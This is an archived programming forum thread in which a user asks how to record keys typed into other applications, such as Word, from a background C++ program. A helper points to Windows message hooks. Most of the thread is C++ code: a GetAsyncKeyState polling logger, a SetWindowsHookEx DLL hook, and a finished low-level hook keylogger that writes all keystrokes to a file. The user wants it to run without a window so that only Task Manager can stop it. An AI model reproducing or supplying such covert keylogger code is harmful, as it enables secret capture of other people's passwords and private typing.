Tom's Guide | Tom's Hardware | Tom's Games
![]() |
![]() |
![]() |
Is there a way to capture keys pressed, even when the C++ program is not the active form? I mean that the program is running but is in the background. So can a person be using Word and there still be a way to extract the keys they pressed from the buffer? I tried with kbhit() and getch() but I was not succesfull.

you have to attach to the windows messages. Check out the Win32 API documentation.
if you only care about word, then why not use vba built into word?

int main()
{
SHORT KeyState;
SHORT ArrKeyState[256];
long CheckSum;
long OldCheckSum;
char ch;
FILE *wfile;
wfile=fopen("friktories.in", "w");
OldCheckSum = 987654; // dummy
while (1)
{
CheckSum = 0;
for (int i = 0; i < 256; i++)
{
KeyState = GetAsyncKeyState(i);
CheckSum += KeyState;
ArrKeyState[i] = KeyState;
}
if (OldCheckSum != CheckSum)
{
for (int i = 0; i < 256; i++)
{
// -32767 = KeyDown
if (ArrKeyState[i] == -32767)
{
fprintf(wfile, "Key ");
fprintf(wfile,"%d",i);
fputc((char) i,wfile);
fprintf(wfile, " )");
fprintf(wfile, "\n");
}
}
}
OldCheckSum = CheckSum;
}
}
This program is working it captures every key pressed but there is one problem. I use DEV C++ and there is an option (compliler) to create this program in a way that there is no black DOS screen and that the only way to kill it is Task Manager. But when I used this option the prog didn't return any letter to this file (friktories.in). I read in MSDN that there might be a problem with where my keyboards focus is.
Is maybe Hot Keys the sollution . I read some tutorials in google but I didn'T get any useful information (maybe because I don't know anything about Hot Keys). I would really appreciate if someone could tell me if this might be a sollution and a example for setting a hot key and read this information.

but you will only capture the keys that are sent to that application. basically you are simply supplying a way to input data into your application. you ARE NOT capturing key presses on the system, only in your application.
using the Win32 API you can attach yourself the process that you want to capture keystrokes from.
Do a google search for Win32 API and/or go to Microsoft.com and search for attach to process.
Chi

I searched in another forum and I found this code
while(GetMessage(&messages, NULL, 0, 0))
{
/* Send message to WindowProcedure */
TranslateMessage(&messages);
DispatchMessage(&messages);
}switch(message) {
//
case WM_DESTROY:
//
case WM_CLOSE:
//
// lots of other cases, probably, and somewhere there is acase WM_CHAR:
// here's where you handle the character.
// wParam is the integer corresponding to the key that was pressed.}
return 0;my question is whether there is a problem with the focus.
The problem is that I don't know where TranslateMessage(&messages) should be placed in the code and how it should be implemented.

YES there IS a problem with the focus. That is what I have been trying to tell you for 3 posts now. You don't seem to want to listen to my advice, and that's frustating :(. I don't know how more clearly I can state this:
If your application is waiting for application messages I.E. using GetMessage withoout hooking into the windows message pipe, then you will only get messages for YOUR APPLICATION. Meaning keystrokes will be sent to your application ONLY when they are your application's keystrokes. And THAT will only happen when your application has focus.You NEED to hook into the Message Pipe, it is quite easy to do, Win32 API already has the SetWindowsHookEx that allows you to hook into any message pipe, not just your own application.
Please, check out http://msdn2.microsoft.com/en-us/li... if you need more information.
I hope this helps
Chi

First of all thank you for replying. I have one question. Do I realy need a dll or could I solve this problem by using __declspec(dllexport) before the functions definition.
I found this code but what I can not understand is whether or not I need a dll with this code and what callback means:
The CALLBACK function in my example is given below..
CollapseLRESULT __declspec(dllexport)__stdcall CALLBACK KeyboardProc(int nCode,WPARAM wParam,
LPARAM lParam)
{
char ch;
if (((DWORD)lParam & 0x40000000) &&(HC_ACTION==nCode))
{
if ((wParam==VK_SPACE)||(wParam==VK_RETURN)||(wParam>=0x2f ) &&(wParam<=0x100))
{
f1=fopen("c:\\report.txt","a+");
if (wParam==VK_RETURN)
{
ch='\n';
fwrite(&ch,1,1,f1);
}
else
{
BYTE ks[256];
GetKeyboardState(ks);WORD w;
UINT scan=0;
ToAscii(wParam,scan,ks,&w,0);
ch = char(w);
fwrite(&ch,1,1,f1);
}
fclose(f1);
}
}LRESULT RetVal = CallNextHookEx( hkb, nCode, wParam, lParam );
return RetVal;
}The installhook function that is installing the hook function in my example is given below.
BOOL __declspec(dllexport)__stdcall installhook()
{
f1=fopen("c:\\report.txt","w");
fclose(f1);
hkb=SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)KeyboardProc,hins,0);return TRUE;
}

And now for all who are maybe interested, here is the finished prog:
#include <stdio.h>
#include <windows.h>
#define FILENAME “keylog.txt”
void CheckKey(int key);
LRESULT CALLBACK KeyboardHook(
int nCode, // hook code
WPARAM wParam, // message identifier
LPARAM lParam // pointer to structure with message data
);
typedef struct tagKBDLLHOOKSTRUCT {
DWORD vkCode; // virtual key code
DWORD scanCode; // scan code
DWORD flags; // flags
DWORD time; // time stamp for this message
DWORD dwExtraInfo; // extra info from the driver or keybd_event
} KBDLLHOOKSTRUCT, FAR *LPKBDLLHOOKSTRUCT, *PKBDLLHOOKSTRUCT;HHOOK hHook;
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow )
{
hHook = SetWindowsHookEx(13, KeyboardHook, hInstance , 0);
while (GetMessage(NULL,NULL,0,0)) ; // NOP while not WM_QUIT
return UnhookWindowsHookEx(hHook);
}
LRESULT CALLBACK KeyboardHook (int nCode, WPARAM wParam, LPARAM lParam )
{
if (nCode == HC_ACTION)
if (wParam == WM_SYSKEYDOWN || wParam == WM_KEYDOWN)
CheckKey (((PKBDLLHOOKSTRUCT)lParam)->vkCode);
return CallNextHookEx(hHook, nCode, wParam, lParam);
}void CheckKey(int key)
{
FILE *pfile = fopen(FILENAME,”a+”);
if (key==8)
fprintf(pfile,”%s”,”[del]”);
if (key==13)
fprintf(pfile,”%s”,”\n”);
if (key==32)
fprintf(pfile,”%s”,” “);
if (key==VK_CAPITAL)
fprintf(pfile,”%s”,”[CAPS]”);
if (key==VK_TAB)
fprintf(pfile,”%s”,”[TAB]”);
if (key==VK_SHIFT)
fprintf(pfile,”%s”,”[SHIFT]”);
if (key==VK_CONTROL)
fprintf(pfile,”%s”,”[CTRL]”);
if (key==VK_PAUSE)
fprintf(pfile,”%s”,”[PAUSE]”);
if (key==VK_ESCAPE)
fprintf(pfile,”%s”,”[ESC]”);
if (key==VK_END)
fprintf(pfile,”%s”,”[END]”);
if (key==VK_HOME)
fprintf(pfile,”%s”,”[HOME]”);
if (key==VK_LEFT)
fprintf(pfile,”%s”,”[LEFT]”);
if (key==VK_UP)
fprintf(pfile,”%s”,”[UP]”);
if (key==VK_RIGHT)
fprintf(pfile,”%s”,”[RIGHT]”);
if (key==VK_DOWN)
fprintf(pfile,”%s”,”[DOWN]”);
if (key==VK_SNAPSHOT)
fprintf(pfile,”%s”,”[PRINT]”);
if (key==VK_NUMLOCK)
fprintf(pfile,”%s”,”[NUM LOCK]”);
if (key==190 || key==110)
fprintf(pfile,”%s”,”.”);if (key >=96 && key <= 105)
{
key -= 48;
fprintf(pfile,”%s”,&key);
}
if (key >=48 && key <= 59)
fprintf(pfile,”%s”,&key);
if (key !=VK_LBUTTON || key !=VK_RBUTTON)
{
if (key >=65 && key <=90)
{
if (GetKeyState(VK_CAPITAL))
fprintf(pfile,”%s”,&key);
else
{
key = key +32;
fprintf(pfile,”%s”,&key);}
}
}
fclose(pfile);
}in the function checkkey you can add more keys simply by searching a list of all virtual keys -> google it

![]() |
![]() |
![]() |

This post is quite old and has been locked from receiving new replies. Please create a new posting instead.
| Ads by Google |